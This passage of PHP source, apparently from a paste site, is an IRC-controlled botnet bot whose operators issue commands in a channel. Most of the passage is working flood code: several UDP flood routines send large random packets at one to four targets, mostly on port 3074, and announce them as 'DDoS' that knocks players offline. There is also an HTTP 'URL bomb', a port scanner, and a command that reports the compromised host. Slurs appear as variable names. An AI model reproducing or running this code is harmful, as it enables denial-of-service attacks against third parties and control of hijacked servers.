  724.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Kill Bot".$blue."] » » » ".$red.".exit or .gtfo".$blue." « « «");
  725.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Reconnect".$blue."] » » » ".$red.".restart".$blue." « « «");
  726.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Whois".$blue."] » » » ".$red.".whois 127.0.0.1".$blue." « « «");
  727.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Raw Irc Commands".$blue."] » » » ".$red.".join, .part, .msg".$blue." « « «");
  728.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Port Scan".$blue."] » » » ".$red.".pscan ip port".$blue." « « «");
  729.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Infected Site Check".$blue."] » » » ".$red.".site".$blue." « « «");
  730.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."URL Bomb".$blue."] » » » ".$red.".urlbomb site.com /path NumberOfRefreshes".$blue." « « «");
  731.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Server Uptime".$blue."] » » » ".$red.".uptime".$blue." « « «");
  732.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Speed Test".$blue."] » » » ".$red.".speedtest".$blue." « « «");
  733.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Quick UDP-Flood".$blue."] » » » ".$red.".quick ip".$blue." « « «");
  734.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Check Last Login".$blue."] » » » ".$red.".lastlogin".$blue." « « «");
  735.                                                 $this->privmsg( $this->fuck_you( ),"$blue [".$red."Raw Irc Command".$blue."] » » » ".$red.".raw command".$blue." « « «");
  736.                                                 break;
  737.                                             }
  738.                                             case "dns":
  739.                                             {
  740.                                                 if(isset($mcmd[1]))
  741.                                                 {
  742.                                                     $ip = explode(".",$mcmd[1]);
  743.                                                     if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
  744.                                                         && is_numeric($ip[2]) && is_numeric($ip[3]))
  745.                                                     {
  746.                                                         $leetprefix = $this->config['leetprefix'];
  747.                                                         $leetsuffixred = $this->config['leetsuffixred'];
  748.                                                         $red = $this->config['red'];
  749.                                                         $blue = $this->config['blue'];
  750.                                                         $this->privmsg($this->fuck_you( ),"$leetprefix $blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue ReSoLvEs To $leetprefix $red ".gethostbyaddr($mcmd[1]));
  751.                                                         }
  752.                                                     else
  753.                                                     {
  754.                                                         $leetprefix = $this->config['leetprefix'];
  755.                                                         $leetsuffixred = $this->config['leetsuffixred'];
  756.                                                         $red = $this->config['red'];
  757.                                                         $blue = $this->config['blue'];
  758.                             $this->privmsg($this->fuck_you( ),"$blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue ReSoLvEs To $red ".gethostbyname($mcmd[1]));
  759.                                                     }
  760.                                                 }
  761.                                                 break;
  762.                                             }
  763.                                             case "exit":
  764.                                             {
  765.                                                 fclose( $this->conn );
  766.                                                 exit( );
  767.                                                 break;
  768.                                             }
  769.                                             case "husk":
  770.                                             {
  771.                                                 fclose( $this->conn );
  772.                                                 exit( );
  773.                                                 break;
  774.                                             }
  775.                                             case "gtfo":
  776.                                             {
  777.                                                 fclose( $this->conn );
  778.                                                 exit( );
  779.                                                 break;
  780.                                             }
  781.                                             case "restart":
  782.                                             {
  783.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  784.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  785.                                                 $red = $this->config['red'];
  786.                                                 $blue = $this->config['blue'];
  787.                                                 $this->privmsg( $this->fuck_you( ), "$leetprefixwhite $red ReStArTinG! $leetsuffixwhite $blue Please wait!" );
  788.                                                 $this->send( "QUIT :restart command from ".$nick );
  789.                                                 fclose( $this->conn );
  790.                                                 $this->start();
  791.                                                 break;
  792.                                             }
  793.                                             case "lastresort":
  794.                                             {
  795.                                                 if( count( $mcmd ) > 3 )
  796.                                                 {
  797.                                                     $server = $mcmd[1];
  798.                                                     $port = $mcmd[2];
  799.                                                     $channel = $mcmd[3];
  800.                                                     $key = $mcmd[4];
  801.  
  802.                                                     if( $this->using_encode )
  803.                                                     {
  804.                                                         $this->config[ 'server' ] = base64_encode( $server );
  805.                                                         $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
  806.                                                         $this->config[ 'key' ] = base64_encode( $key );
  807.                                                     }
  808.                                                     else
  809.                                                     {
  810.                                                         $this->config[ 'server' ] = $server;
  811.                                                         $this->config[ 'chan' ] = str_replace( "#", "", $channel );
  812.                                                         $this->config[ 'key' ] = $key;
  813.                                                     }
  814.  
  815.                                                     $this->config[ 'port' ] = $port;
  816.                                                     $this->privmsg( $this->fuck_you( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
  817.                                                     $this->send( "QUIT :moveserver command from ".$nick );
  818.  
  819.                                                     fclose( $this->conn );
  820.                                                     $this->start();
  821.                                                 }
  822.                                                 break;
  823.                                             }
  824.                                             case "whois":
  825.                                             {
  826.                                                 $param2 = $mcmd[1];
  827.  
  828.                                                 if( !empty( $param2 ) )
  829.                                                 {
  830.                                                     //do it
  831.                                                     //http://www.geoip.co.uk/?IP=98.214.115.193&submit.x=23&submit.y=11
  832.                                                     $fp = fsockopen( "geoip.co.uk", 80, $errno, $errstr, 30 );
  833.  
  834.                                                     if( $fp )
  835.                                                     {
  836.                                                         $out = "GET /?IP=$param2&submit.x=23&submit.y=11 HTTP/1.1\r\n";
  837.                                                         $out .= "Host: geoip.co.uk\r\n";
  838.                                                         $out .= "Keep-Alive: 300\r\n";
  839.                                                         $out .= "Connection: keep-alive\r\n\r\n";
  840.                                                         fwrite( $fp, $out );
  841.  
  842.                                                         $whodata = '';
  843.                                                         while(!feof($fp))
  844.                                                         {
  845.                                                             /*do nothing*/
  846.                                                             $whodata .= fread( $fp, 1024 );
  847.                                                         }
  848.  
  849.                                                         $countryc = explode( "            :", $whodata );
  850.                                                         $countryc = explode( "            : <img src=", $countryc[1] );
  851.                                                         $country = strip_tags( $countryc[0] );
  852.  
  853.                                                         $statec = explode( "$countryc", $whodata );
  854.                                                         $statec = explode( "                        <br>", $statec[1] );
  855.                                                         $state = strip_tags( $statec[0] );
  856.  
  857.                                                         $cityc = explode( "$statec", $whodata );
  858.                                                         $cityc = explode( "            : <img src=", $cityc[1] );
  859.                                                         $city = strip_tags( $cityc[0] );
  860.  
  861.                                                         fclose( $fp );
  862.                                                         $leetprefixwhite = $this->config['leetprefixwhite'];
  863.                                                                                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  864.                                                                                                                 $red = $this->config['red'];
  865.                                                                                                                 $blue = $this->config['blue'];
  866.  
  867.                                                         $this->privmsg( $this->fuck_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red Country - $blue $country" );
  868.                                                         $this->privmsg( $this->fuck_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red City - $blue $city" );
  869.                                                         $this->privmsg( $this->fuck_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red State - $blue $state" );
  870.                                                     }else{
  871.                                                         $this->privmsg( $this->fuck_you( ), "[ whois ] Error: $errstr" );
  872.                                                     }
  873.                                                 }
  874.                                                 else
  875.                                                 {
  876.                                                     $this->privmsg( $this->fuck_you( ), "[ whois ] Invalid params, use .whois <ip/host>" );
  877.                                                 }
  878.                                                 break;
  879.                                             }
  880.                                             case "join":
  881.                                             {
  882.                                                 $channel = $mcmd[1];
  883.                                                 $key = $mcmd[2];
  884.                                                 $this->join( $channel, $key );
  885.                                                 break;
  886.                                             }
  887.                                             case "part":
  888.                                             {
  889.                                                 $this->send( "PART ".$mcmd[1] );
  890.                                             }
  891.                                             case "msg":
  892.                                             {
  893.                                                 $person = $mcmd[1];
  894.                                                 $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
  895.                                                 $this->privmsg( $person, $text );
  896.                                                 break;
  897.                                             }
  898.                                          case "pscan":
  899.                                                     $leetprefix = $this->config['leetprefix'];
  900.                                                     $leetsuffixred = $this->config['leetsuffixred'];
  901.                                                     $blue = $this->config['blue'];
  902.                                if(count($mcmd) > 2)
  903.                                {
  904.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  905.                                      $this->privmsg($this->fuck_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $red ".$mcmd[1].":".$mcmd[2]." $blue is Open");
  906.                                   else
  907.                                      $this->privmsg($this->fuck_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $blue ".$mcmd[1].":".$mcmd[2]." $red is Closed");
  908.                                       break;
  909.                                }
  910.                                             case "software":
  911.                                             {
  912.                                                 $this->privmsg( $this->fuck_you( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
  913.                                                 break;
  914.                                             }
  915.                                                 case "justcallmecody":
  916.                                             {
  917.                                                 $youtube = $this->config['youtube'];
  918.                                                 $this->privmsg($this->fuck_you( ), $youtube );
  919.                                                 break;
  920.                                             }
  921.                                                 case "sayhi":
  922.                                             {
  923.                                                 $this->privmsg($this->fuck_you( ), "LOL HAI" );
  924.                                                 break;
  925.                                             }
  926.                                             case "site":
  927.                                             {
  928.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  929.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  930.                                                 $red = $this->config['red'];
  931.                                                 $blue = $this->config['blue'];
  932.                                                 $ipzzz = ( $_SERVER["HTTP_HOST"] );
  933.                                                 $this->privmsg( $this->fuck_you( ), "$blue This bot is running on $leetprefixwhite $red $ipzzz $leetsuffixwhite" );
  934.                                                 break;
  935.                                             }
  936.                                             case "logout":
  937.                                             {
  938.                                                 $logoutmsg = $this->messages['logoutmsg'];
  939.                                                 $leetprefixwhite = $this->config['leetprefixwhite'];
  940.                                                 $leetsuffixwhite = $this->config['leetsuffixwhite'];
  941.                                                 $red = $this->config['red'];
  942.                                                 $part2 = $this->config['part2'];
  943.                                                 $this->remove_auth( $host );
  944.                                                 $this->privmsg( $this->fuck_you( ), "$logoutmsg $leetprefixwhite $red$nick $leetsuffixwhite $part2" );
  945.                                                 break;
  946.                                             }
  947.                                             case "urlbomb":
  948.                                             {
  949.                                                 $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
  950.                                                 break;
  951.                                             }
  952.                                             case "udpflood":
  953.                                                 {
  954.                                                 if( count( $mcmd ) > 3 )
  955.                                                 {
  956.                                                     $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  957.                                                 }
  958.                                                 }
  959.                                             case "stop":
  960.                                             {
  961.                                             fclose($fp);
  962.                                             break;
  963.                                             }
  964.                                             case "speedtest":
  965.                                             {
  966.                                                     $this->udpflood3(hi,650000,5);
  967.                                                 break;
  968.                                             }
  969.                                             case "2players":
  970.                                             {
  971.                                                     $this->udpflood5($mcmd[1],$mcmd[2]);
  972.                                                 break;
  973.                                             }
  974.                                             case "3players":
  975.                                             {
  976.                                                     $this->udpflood7($mcmd[1],$mcmd[2],$mcmd[3]);
  977.                                                 break;
  978.                                             }
  979.                                             case "4players":
  980.                                             {
  981.                                                     $this->udpflood6($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
  982.                                                 break;
  983.                                             }
  984.                                                     case "quick":
  985.                                             {
  986.                                                 if( count( $mcmd ) > 1 )
  987.                                                 {
  988.                                                     $this->udpflood2($mcmd[1],3600,10);
  989.                                                 }
  990.                                                 break;
  991.                                                 }
  992.                                         }
  993.                                     }
  994.                                 }
  995.                             break;
  996.                         }
  997.                     }
  998.                 }
  999.                 $old_buf = $this->buf;
  1000.             }
  1001.             $this->start();
  1002.         }
  1003.  
  1004.         function scanport( $host, $port )
  1005.         {
  1006.             if( fsockopen( $host, $port, $e, $s ) )
  1007.             {
  1008.                 return 1;
  1009.             }
  1010.             return 0;
  1011.         }
  1012.  
  1013.         function urlbomb( $host, $path, $times, $mode = 0 )
  1014.         {
  1015.             if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
  1016.                 return;
  1017.  
  1018.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1019.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1020.             $leetprefix = $this->config['leetprefix'];
  1021.             $leetsuffixred = $this->config['leetsuffixred'];
  1022.             $red = $this->config['red'];
  1023.             $blue = $this->config['blue'];
  1024.             $http = "http://";
  1025.             $this->privmsg( $this->fuck_you( ),"$leetprefixwhite $red URLbomb started! $leetsuffixwhite  on $red [ $blue ".$http."".$host."".$path." $red ]");
  1026.  
  1027.             $success = 0;
  1028.             for( $i = 0; $i < $times; $i++ )
  1029.             {
  1030.                 $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
  1031.                 if( $fp )
  1032.                 {
  1033.                     $out = "GET /".$path." HTTP/1.1\r\n";
  1034.                     $out .= "Host: ".$host."\r\n";
  1035.                     $out .= "Keep-Alive: 300\r\n";
  1036.                     $out .= "Connection: keep-alive\r\n\r\n";
  1037.                     fwrite( $fp, $out );
  1038.  
  1039.                     if( $mode != 0 )
  1040.                     {
  1041.                         while(!feof($fp)){/*do nothing*/}
  1042.                     }
  1043.  
  1044.                     fclose( $fp );
  1045.  
  1046.                     $success++;
  1047.                 }
  1048.             }
  1049.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1050.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1051.             $leetprefix = $this->config['leetprefix'];
  1052.             $leetsuffixred = $this->config['leetsuffixred'];
  1053.             $red = $this->config['red'];
  1054.             $blue = $this->config['blue'];
  1055.             $http = "http://";
  1056.             $this->privmsg( $this->fuck_you( ),"$leetprefixwhite $red URLbomb finished! $leetsuffixwhite $blue on $red [ $blue ".$http."".$host."".$path." $red ] $blue [$red Times Visited: $blue ".$success." $blue ]" );
  1057.         }
  1058.  
  1059.         function udpflood2( $host, $packetsize, $time )
  1060.         {
  1061.             $udpmsgfast = $this->messages['udpmsgfast'];
  1062.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1063.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1064.             $red = $this->config['red'];
  1065.             $blue = $this->config['red'];
  1066.             $this->privmsg( $this->fuck_you( ),"$udpmsgfast Started On $leetprefixwhite$red $host $leetsuffixwhite" );
  1067.             $packet = "";
  1068.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  1069.             $timei = time();
  1070.             $i = 0;
  1071.             while(time()-$timei < $time)
  1072.             {
  1073.                 $xboxlive = "3074";
  1074.                 $fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
  1075.                 fwrite($fp,$packet);
  1076.                 fclose($fp);
  1077.                 $i++;
  1078.             }
  1079.             $env = $i * $packetsize;
  1080.             $env = $env / 1048576;
  1081.             $vel = $env / $time;
  1082.             $vel = round($vel);
  1083.             $env = round($env);
  1084.             $fag = "$udpmsgfast - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
  1085.             $this->privmsg( $this->fuck_you( ),"$fag$fag2" );
  1086.             $this->ex('echo 1 >> cache.dat');
  1087.         }
  1088.  
  1089.     function udpflood3( $host, $packetsize, $time )
  1090.         {
  1091.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1092.             $speedtest = $this->messages['speedtest'];
  1093.             $speedtestfin = $this->messages['speedtestfin'];
  1094.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1095.             $red = $this->config['red'];
  1096.             $blue = $this->config['red'];
  1097.             $green = $this->config['green'];
  1098.             $part1 = $this->config['part1'];
  1099.             $part2 = $this->config['part2'];
  1100.             $this->privmsg( $this->fuck_you( ),"$part1$red Speed Test Started. $part2 - $blue Please Wait." );
  1101.             $packet = "";
  1102.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  1103.             $timei = time();
  1104.             $i = 0;
  1105.             while(time()-$timei < $time)
  1106.             {
  1107.                 $xboxlive = "3074";
  1108.                 $fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
  1109.                 fwrite($fp,$packet);
  1110.                 fclose($fp);
  1111.                 $i++;
  1112.             }
  1113.             $env = $i * $packetsize;
  1114.             $env = $env / 1048576;
  1115.             $vel = $env / $time;
  1116.             $vel = round($vel);
  1117.             $env = round($env);
  1118.             $red = $this->config['red'];
  1119.             $part1 = $this->config['part1'];
  1120.             $part2 = $this->config['part2'];
  1121.             $blue = $this->config['red'];
  1122.             $fag = "$part1$red SpeeD TesT CompletE! $part2 - $blue This bot sends".$red." $vel MegaBytes/Second";
  1123.             $this->privmsg( $this->fuck_you( ),"$fag$fag2" );
  1124.             $this->ex('echo 1 >> cache.dat');
  1125.         }
  1126.  
  1127.     function udpflood5( $host, $crack )
  1128.         {
  1129.             $packetsize = "65000";
  1130.             $time = "60";
  1131.             $port = "3074";
  1132.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1133.             $speedtest = $this->messages['speedtest'];
  1134.             $speedtestfin = $this->messages['speedtestfin'];
  1135.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1136.             $red = $this->config['red'];
  1137.             $blue = $this->config['red'];
  1138.             $green = $this->config['green'];
  1139.             $part1 = $this->config['part1'];
  1140.             $part2 = $this->config['part2'];
  1141.             $this->privmsg( $this->fuck_you( ),"$part1$red Two Player DDoS $part2 - $blue Booting $host and $crack! Attacking on port $port" );
  1142.             $packet = "";
  1143.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  1144.             $timei = time();
  1145.             $i = 0;
  1146.             while(time()-$timei < $time)
  1147.             {
  1148.                 $port = "3074";
  1149.                 $fp=fsockopen("udp://".$host,$port,$e,$s,5);
  1150.                 $fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
  1151.                 fwrite($fp,$packet);
  1152.                 fwrite($fp2,$packet);
  1153.                 fclose($fp);
  1154.                 fclose($fp2);
  1155.                 $i++;
  1156.             }
  1157.             $env = $i * $packetsize;
  1158.             $env = $env / 1048576;
  1159.             $vel = $env / $time;
  1160.             $vel = round($vel);
  1161.             $env = round($env);
  1162.             $red = $this->config['red'];
  1163.             $part1 = $this->config['part1'];
  1164.             $part2 = $this->config['part2'];
  1165.             $blue = $this->config['red'];
  1166.             $fag = "$part1$red Two Player DDoS! $part2 - $blue $host and $crack are offline! ".$red." $vel MegaBytes/Second";
  1167.             $this->privmsg( $this->fuck_you( ),"$fag$fag2" );
  1168.             $this->ex('echo 1 >> cache.dat');
  1169.         }
  1170.  
  1171.     function udpflood6( $host, $crack, $herion, $coke )
  1172.         {
  1173.             $packetsize = "65000";
  1174.             $time = "60";
  1175.             $port = "3074";
  1176.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1177.             $speedtest = $this->messages['speedtest'];
  1178.             $speedtestfin = $this->messages['speedtestfin'];
  1179.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1180.             $red = $this->config['red'];
  1181.             $blue = $this->config['red'];
  1182.             $green = $this->config['green'];
  1183.             $part1 = $this->config['part1'];
  1184.             $part2 = $this->config['part2'];
  1185.             $this->privmsg( $this->fuck_you( ),"$part1$red 4 Player DDoS! $part2 - $blue Booting $host, $crack, $herion, and $coke! Attacking on port $port" );
  1186.             $packet = "";
  1187.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  1188.             $timei = time();
  1189.             $i = 0;
  1190.             while(time()-$timei < $time)
  1191.             {
  1192.                 $port = "3074";
  1193.                 $fp=fsockopen("udp://".$host,$port,$e,$s,5);
  1194.                 $fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
  1195.                 $fp3=fsockopen("udp://".$herion,$port,$e,$s,5);
  1196.                 $fp4=fsockopen("udp://".$coke,$port,$e,$s,5);
  1197.                 fwrite($fp,$packet);
  1198.                 fwrite($fp2,$packet);
  1199.                 fwrite($fp3,$packet);
  1200.                 fwrite($fp4,$packet);
  1201.                 fclose($fp);
  1202.                 fclose($fp2);
  1203.                 fclose($fp3);
  1204.                 fclose($fp4);
  1205.                 $i++;
  1206.             }
  1207.             $env = $i * $packetsize;
  1208.             $env = $env / 1048576;
  1209.             $vel = $env / $time;
  1210.             $vel = round($vel);
  1211.             $env = round($env);
  1212.             $red = $this->config['red'];
  1213.             $part1 = $this->config['part1'];
  1214.             $part2 = $this->config['part2'];
  1215.             $blue = $this->config['red'];
  1216.             $fag = "$part1$red 4 Player DDoS Complete. $part2 - $blue $host, $crack, $herion, and $coke are all offline! ".$red." $vel MegaBytes/Second";
  1217.             $this->privmsg( $this->fuck_you( ),"$fag$fag2" );
  1218.             $this->ex('echo 1 >> cache.dat');
  1219.         }
  1220.  
  1221.     function udpflood7( $stoner, $allalone, $daynnite )
  1222.         {
  1223.             $packetsize = "65000";
  1224.             $time = "60";
  1225.             $port = "3074";
  1226.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1227.             $speedtest = $this->messages['speedtest'];
  1228.             $speedtestfin = $this->messages['speedtestfin'];
  1229.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1230.             $red = $this->config['red'];
  1231.             $blue = $this->config['red'];
  1232.             $green = $this->config['green'];
  1233.             $part1 = $this->config['part1'];
  1234.             $part2 = $this->config['part2'];
  1235.             $this->privmsg( $this->fuck_you( ),"$part1$red 3 Player DDoS! $part2 - $blue Booting $stoner, $allalone, and $daynnite! Attacking on port $port" );
  1236.             $packet = "";
  1237.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  1238.             $timei = time();
  1239.             $i = 0;
  1240.             while(time()-$timei < $time)
  1241.             {
  1242.                 $port = "3074";
  1243.                 $fp2=fsockopen("udp://".$stoner,$port,$e,$s,5);
  1244.                 $fp3=fsockopen("udp://".$allalone,$port,$e,$s,5);
  1245.                 $fp4=fsockopen("udp://".$daynnite,$port,$e,$s,5);
  1246.                 fwrite($fp2,$packet);
  1247.                 fwrite($fp3,$packet);
  1248.                 fwrite($fp4,$packet);
  1249.                 fclose($fp2);
  1250.                 fclose($fp3);
  1251.                 fclose($fp4);
  1252.                 $i++;
  1253.             }
  1254.             $env = $i * $packetsize;
  1255.             $env = $env / 1048576;
  1256.             $vel = $env / $time;
  1257.             $vel = round($vel);
  1258.             $env = round($env);
  1259.             $red = $this->config['red'];
  1260.             $part1 = $this->config['part1'];
  1261.             $part2 = $this->config['part2'];
  1262.             $blue = $this->config['red'];
  1263.             $fag = "$part1$red 3 Player DDoS Complete! $part2 - $blue $stoner, $allalone, and $daynnite are now offline. ".$red." $vel MegaBytes/Second";
  1264.             $this->privmsg( $this->fuck_you( ),"$fag$fag2" );
  1265.             $this->ex('echo 1 >> cache.dat');
  1266.         }
  1267.  
  1268.  
  1269.         function udpflood( $host, $packetsize, $time )
  1270.         {
  1271.             $udpmsg = $this->messages['udpmsg'];
  1272.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1273.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1274.             $red = $this->config['red'];
  1275.             $blue = $this->config['red'];
  1276.             $this->privmsg( $this->fuck_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite" );
  1277.             $packet = "";
  1278.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  1279.             $timei = time();
  1280.             $i = 0;
  1281.             while(time()-$timei < $time)
  1282.             {
  1283.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  1284.                 fwrite($fp,$packet);
  1285.                 fclose($fp);
  1286.                 $i++;
  1287.             }
  1288.             $env = $i * $packetsize;
  1289.             $env = $env / 1048576;
  1290.             $vel = $env / $time;
  1291.             $vel = round($vel);
  1292.             $env = round($env);
  1293.             $fag = "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
  1294.             $this->privmsg( $this->fuck_you( ),"$fag$fag2" );
  1295.             $this->ex('echo 1 >> cache.dat');
  1296.         }
  1297.  
  1298.         function udpflood4( $host, $packetsize, $time, $port )
  1299.         {
  1300.             $udpmsg = $this->messages['udpmsg'];
  1301.             $leetprefixwhite = $this->config['leetprefixwhite'];
  1302.             $leetsuffixwhite = $this->config['leetsuffixwhite'];
  1303.             $red = $this->config['red'];
  1304.             $blue = $this->config['red'];
  1305.             $this->privmsg( $this->fuck_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite$red On port $leetprefixwhite$red $port $leetsuffixwhite" );
  1306.             $packet = "";
  1307.             for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  1308.             $timei = time();
  1309.             $i = 0;
  1310.             while(time()-$timei < $time)
  1311.             {
  1312.                 $fp=fsockopen("udp://".$host,$port,$e,$s,5);
  1313.                 fwrite($fp,$packet);
  1314.                 fclose($fp);
  1315.                 $i++;
  1316.             }
  1317.             $env = $i * $packetsize;
  1318.             $env = $env / 1048576;
  1319.             $vel = $env / $time;
  1320.             $vel = round($vel);
  1321.             $env = round($env);
  1322.             $fag = "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite On Port $leetprefixwhite$red $port $leetsuffixwhite";
  1323.             $this->privmsg( $this->fuck_you( ),"$fag$fag2" );
  1324.             $this->ex('echo 1 >> cache.dat');
  1325.         }
  1326.  
  1327.         function send($msg)
  1328.         {
  1329.             fwrite($this->conn,"$msg\r\n");
  1330.         }
  1331.  
  1332.         function join($chan,$key=NULL)
  1333.         {
  1334.             $this->send("JOIN $chan $key");
  1335.         }
  1336.  
  1337.         function privmsg($to,$msg)
  1338.         {
  1339.             $this->send("PRIVMSG $to :$msg");
  1340.         }
  1341.  
  1342.         function notice($to,$msg)
  1343.         {
  1344.             $this->send("NOTICE $to :$msg");
  1345.         }
  1346.  
  1347.          function set_nick()
  1348.          {
  1349.             $prefix .= "";
  1350.             $random_number = "";
  1351.             for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  1352.             {
  1353.                 $random_number .= mt_rand( 0, 9 );
  1354.             }
  1355.  
  1356.             $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
  1357.             $this->send("NICK ".$this->nick);
  1358.          }
  1359.          function busk_nick()
  1360.          {
  1361.             $prefix .= "[RooT|LinuX|";
  1362.             $random_number = "";
  1363.             for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  1364.             {
  1365.                 $random_number .= mt_rand( 0, 9 );
  1366.             }
  1367.  
  1368.             $this->nick = sprintf( $prefix.$this->config[ 'nickform2' ], $random_number );
  1369.             $this->send("NICK ".$this->nick);
  1370.          }
  1371.          function nzm_nick()
  1372.          {
  1373.             $prefix .= "[Extacy|";
  1374.             $random_number = "";
  1375.             for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  1376.             {
  1377.                 $random_number .= mt_rand( 0, 9 );
  1378.             }
  1379.             $fucku = "$this->config[ 'prfix' ]";
  1380.             $this->nick = sprintf( $prefix.$this->config['prfix'], $random_number );
  1381.             $this->send("NICK ".$this->nick);
  1382.          }
  1383.  
  1384.         function parse_url_s( $url )
  1385.         {
  1386.             $URLpcs = ( parse_url( $url ) );
  1387.             $PathPcs = explode( "/", $URLpcs['path'] );
  1388.             $URLpcs['file'] = end( $PathPcs );
  1389.             unset( $PathPcs[ key( $PathPcs ) ] );
  1390.             $URLpcs['dir'] = implode("/",$PathPcs);
  1391.  
  1392.             $fileext = explode( '.', $URLpcs['file'] );
  1393.  
  1394.             if(count($fileext))
  1395.             {
  1396.                 $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
  1397.             }
  1398.  
  1399.             return ($URLpcs);
  1400.         }
  1401.     }
  1402.  
  1403.     $bot = new Colbys_pBot_Mod;
  1404.     $bot->start();
  1405.  
  1406. ?>
Add Comment
Please, Sign In to add comment